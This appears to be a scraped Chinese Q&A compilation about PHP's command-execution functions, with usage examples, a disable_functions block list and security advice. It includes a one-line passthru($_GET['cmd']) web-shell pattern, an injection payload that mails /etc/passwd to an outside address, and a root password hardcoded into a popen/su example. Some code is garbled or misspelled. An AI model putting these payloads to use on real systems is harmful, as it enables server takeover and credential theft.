phppassthru

1. <{passthru($_GET["cmd"])}>好像不是合法的php语法吧

<?php echo {passthru($_GET["cmd"])}?>

2. 一些需要禁用的PHP危险函数(disable_functions)

phpinfo()
功能描述：输出
PHP
环境信息以及相关的模块、WEB
环境等信息。
危险等级：中
passthru()
功能描述：允许执行一个外部程序并回显输出，类似于
exec()。
危险等级：高
exec()
功能描述：允许执行一个外部程序（如
UNIX
Shell
或
CMD
命令等）。
危险等级：高
system()
功能描述：允许执行一个外部程序并回显输出，类似于
passthru()。
危险等级：高
chroot()
功能描述：可改变当前
PHP
进程的工作根目录，仅当系统支持
CLI
模式
PHP
时才能工作，且该函数不适用于
Windows
系统。
危险等级：高
scandir()
功能描述：列出指定路径中的文件和目录。
危险等级：中
chgrp()
功能描述：改变文件或目录所属的用户组。
危险等级：高
chown()
功能描述：改变文件或目录的所有者。
危险等级：高
shell_exec()
功能描述：通过
Shell
执行命令，并将执行结果作为字符串返回。
危险等级：高
proc_open()
功能描述：执行一个命令并打开文件指针用于读取以及写入。
危险等级：高
proc_get_status()
功能描述：获取使用
proc_open()
所打开进程的信息。
危险等级：高
error_log()
功能描述：将错误信息发送到指定位置（文件）。
安全备注：在某些版本的
PHP
中，可使用
error_log()
绕过
PHP
safe
mode，
执行任意命令。
危险等级：低
ini_alter()
功能描述：是
ini_set()
函数的一个别名函数，功能与
ini_set()
相同。
具体参见
ini_set()。
危险等级：高
ini_set()
功能描述：可用于修改、设置
PHP
环境配置参数。
危险等级：高
ini_restore()
功能描述：可用于恢复
PHP
环境配置参数到其初始值。
危险等级：高
dl()
功能描述：在
PHP
进行运行过程当中（而非启动时）加载一个
PHP
外部模块。
危险等级：高
pfsockopen()
功能描述：建立一个
Internet
或
UNIX
域的
socket
持久连接。
危险等级：高
syslog()
功能描述：可调用
UNIX
系统的系统层
syslog()
函数。
危险等级：中
readlink()
功能描述：返回符号连接指向的目标文件内容。
危险等级：中
symlink()
功能描述：在
UNIX
系统中建立一个符号链接。
危险等级：高
popen()
功能描述：可通过
popen()
的参数传递一条命令，并对
popen()
所打开的文件进行执行。
危险等级：高
stream_socket_server()
功能描述：建立一个
Internet
或
UNIX
服务器连接。
危险等级：中
putenv()
功能描述：用于在
PHP
运行时改变系统字符集环境。在低于
5.2.6
版本的
PHP
中，可利用该函数
修改系统字符集环境后，利用
sendmail
指令发送特殊参数执行系统
SHELL
命令。
危险等级：高
禁用方法如下：
打开/etc/php.ini文件，
查找到
disable_functions
，添加需禁用的函数名，如下：
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

3. php执行函数

PHP提供4个专门的执行外部命令的函数：exec(), system(), passthru(), shell_exec()
1）exec()
原型: string exec ( string $command [, array &$output [, int &$return_var ]] )
说明: exec执行系统外部命令时不会输出结果，而是返回结果的最后一行。如果想得到结果，可以使用第二个参数，让其输出到指定的数组。此数组一个记录代表输出的一行。即如果输出结果有20行，则这个数组就有20条记录，所以如果需要反复输出调用不同系统外部命令的结果，最好在输出每一条系统外部命令结果时清空这个数组unset($output)，以防混乱。第三个参数用来取得命令执行的状态码，通常执行成功都是返回0。
<?php
exec("dir",$output);
print_r($output);
?>

2）system()
原型: string system ( string $command [, int &$return_var ] )
说明: system和exec的区别在于，system在执行系统外部命令时，直接将结果输出到游览器，如果执行命令成功则返回true，否则返回false。第二个参数与exec第三个参数含义一样。
<?php
system("pwd");
?>

3）passthru()
原型: void passthru ( string $command [, int &$return_var ] )
说明: passthru与system的区别，passthru直接将结果输出到游览器，不返回任何值，且其可以输出二进制，比如图像数据。第二个参数可选，是状态码。
<?php
header("Content-type:image/gif");
passthru("/usr/bin/ppm2tiff /usr/share/tk8.4/demos/images/teapot.ppm");
?>

4）shell_exec()
原型: string shell_exec(string $cmd)
说明: 直接执行命令$cmd
<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>
防超时的处理方法：
当执行命令的返回结果非常庞大时，可以需要考虑将返回结果输出至其他文件，再另行读取文件，这样可以显着提高程序执行的效率。
如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运行。但在默认情况下，
象system()等函数要等到这个命令运行完才返回（实际上是在等命令的输出结果），
这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中，如：
<?php
system("/usr/local/bin/order_proc > /tmp/abc ");
?>
<?
$filename=time().".data";
exec("/app/gm/gm_center/test/hello.py > $filename",$output);
var_mp ($output);
?>

4. 我在云服务器上（linux系统)想用php代码调用一个exe程序，passthru("$data",$result)，却总是返回126.

这是不可以的
php 的 exec、system等函数都是在后台运行的，不可能出现窗口界面
另外php是在服务器上运行的，虽然你是在一台机器上调试，但也应该把它看做是两台机器
即便用exec能够出现窗口，你也不可能跑到服务器上去操作。

5. linux php函数有哪些

PHP调用Linux系统的常用函数

1、exec函数

<?php
$test = "ls /tmp/test"; //ls是linux下的查目录，文件的命令

exec($test，$array); //执行命令

print_r($array);

?>

2、system函数

<?php
$test = "ls /tmp/test";

$last = system($test);

print "last： $last\n";

?>

3、passthru函数

<?php
$test = "ls /tmp/test";

passthru($test);

?>

4、popen函数

<?php
$test = "ls /tmp/test";

$fp = popen($test，"r"); //popen打一个进程通道

while (!feof($fp)) { //从通道里面取得东西

$out = fgets($fp， 4096);

echo $out; //打印出来

}

pclose($fp);

?>

5、proc_open函数

<?php
$test = "ls /tmp/test";

$arrayarray = array(

array("pipe"，"r")， //标准输入

array("pipe"，"w")， //标准输出内容

array("pipe"，"w") //标准输出错误

);

$fp = proc_open($test，$array，$pipes); //打开一个进程通道

echo stream_get_contents($pipes[1]); //为什么是$pipes[1]，因为1是输出内容

proc_close($fp);

?>

6、proc_open函数

<?php
$test = "ls /tmp/test";

$arrayarray = array(

array("pipe"，"r")， //标准输入

array("pipe"，"w")， //标准输出内容

array("pipe"，"w") //标准输出错误

);

$fp = proc_open($test，$array，$pipes); //打开一个进程通道

echo stream_get_contents($pipes[1]); //为什么是$pipes[1]，因为1是输出内容

proc_close($fp);

?>

7、shell_exec函数

<?php
$test = "ls /tmp/test";

$out = shell_exec($test);

echo $out;

?>

6. 如何让php执行shell

php给我们提供了system()，exec()，passthru()这三个函数来调用外部的命令.
虽然这三个命令都能执行linux系统的shell命令，但是其实他们是有区别的：
system() 输出并返回最后一行shell结果。
exec() 不输出结果，返回最后一行shell结果，所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令，把命令的运行结果原样地直接输出到标准输出设备上。
相同点：都可以获得命令执行的状态码

例子：system("/usr/local/bin/webalizer/webalizer");

7. 在php命令行业中怎样打印内容

在PHP中调用外部命令，可以用如下三种方法来实现：
1） 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数：system()，exec()，passthru()。
system()
原型：string
system (string command [, int return_var])

system()函数很其它语言中的差不多，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。
例子：

复制代码
代码如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型：string exec (string command [, string array [, int return_var]])
exec
()函数与system()类似，也执行给定的命令，但不输出结果，而是返回结果的最后一行。虽然它只返回命令结果的最后一行，但用第二个参数array
可以得到完整的结果，方法是把结果逐行追加到array的结尾处。所以如果array不是空的，在调用之前最好用unset()最它清掉。只有指定了第二
个参数时，才可以用第三个参数，用来取得命令执行的状态码。
例子：

复制代码
代码如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
原型：void passthru (string command [, int
return_var])
passthru
()只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus
（Unix下的一个处理图片的工具，输出二进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。
例子：

复制代码
代码如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2）
用popen()函数打开进程

上面的方法只能简单地执行命令，却不能与命令交互。但有些时候必须向命令输入一些东西，如在增加Linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码。这种情况下，用上面提到的方法显然是不行的。

popen
()函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在PHP3中，对这种句柄只能做单一
的操作模式，要么写，要么读；从PHP4开始，可以同时读和写了。除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose()函数来关闭 它。

例子1：

复制代码
代码如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2：

复制代码
代码如下:

<?php
/* PHP中如何增加一个系统用户

下面是一段例程，增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3）
用反撇号（`，也就是键盘上ESC键下面的那个，和~在同一个上面）

这个方法以前没有归入PHP的文档，是作为一个秘技存在的。方法很简单，用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。如：

复制代码
代码如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

这个脚本的输出就象：
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么看

要考虑两个问题：安全性和超时。
先
看安全性。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件，让你的用户输入他们的EMAIL地
址，然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数（或者从未听说过），你就调用Linux/Unix系统的mail程序来发送这
个文件。程序就象这样：

复制代码
代码如下:

<?php
system("mail $to <
procts.txt");
echo "我们的产品目录已经发送到你的信箱：$to";
?>

用这段代码，一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址：

'--bla ; mail [email protected] < /etc/passwd ;'
那么这条命令最终变成：

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信，无论哪个网络管理人员见到这样的命令，都会吓出一身冷汗来。
幸
好，PHP为我们提供了两个函数：EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的，象分号（），重定向（>）和从文件读入
（<）等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串
就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运
行。但在默认情况下，象system()等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。解决的办法是
把命令的输出重定向到另外一个文件或流中，如：

复制代码
代码如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

8. linux下，php启用exec(),system(),passthru()，这几个函数失败，返回值是1、127、126

是不是函数未定义，这几个函数模块没有开启，所以不支持，找到模块函数将注释去掉，重启apache试试

9. 怎么用php命令执行php代码

PHP执行命令的四种方法

方法一：使用exec函数执行系统外部命令

原型：function exec(string $command,array[optional] $output,int[optional]
$return_value)

<?
exec("dir",$outPut);

print_r($outPut);
?>

说明：列出和PHP执行文件同级目录下的所有目录及文件信息。

知识点：exec执行系统外部命令时不会输出结果，而是返回结果的最后一行，如果你想得到结果你可以使用第二个参数，让其输出到指定的数组，此数组一个记录代表输出的一行，即如果输出结果有20行，则这个数组就有20条记录，所以如果你需要反复输出调用不同系统外部命令的结果，你最好在输出每一条系统外部命令结果时清空这个数组，以防混乱。第三个参数用来取得命令执行的状态码，通常执行成功都是返回0。

方法二：使用system函数执行系统外部命令

原型：function system(string $command,int[optional] $return_value)

1
2
3

<?
system("dir");
?>

知识点：system和exec的区别在于system在执行系统外部命令时，直接将结果输出到游览器，如果执行命令成功则返回true，否则返回false。第二个参数与exec第三个参数含义一样。

方法三：使用函数passthru执行系统外部命令

原型：function passthru(string $command,int[optional] $return_value)

知识点：passthru与system的区别，passthru直接将结果输出到游览器，不返回任何值，且其可以输出二进制，比如图像数据。

方法四：反撇号`（和~在同一个键）执行系统外部命令

1
2
3

<?
echo `dir`;
?>

知识点：在使用这种方法执行系统外部命令时，你要确保shell_exec函数可用，否则是无法使用这种反撇号执行系统外部命令的。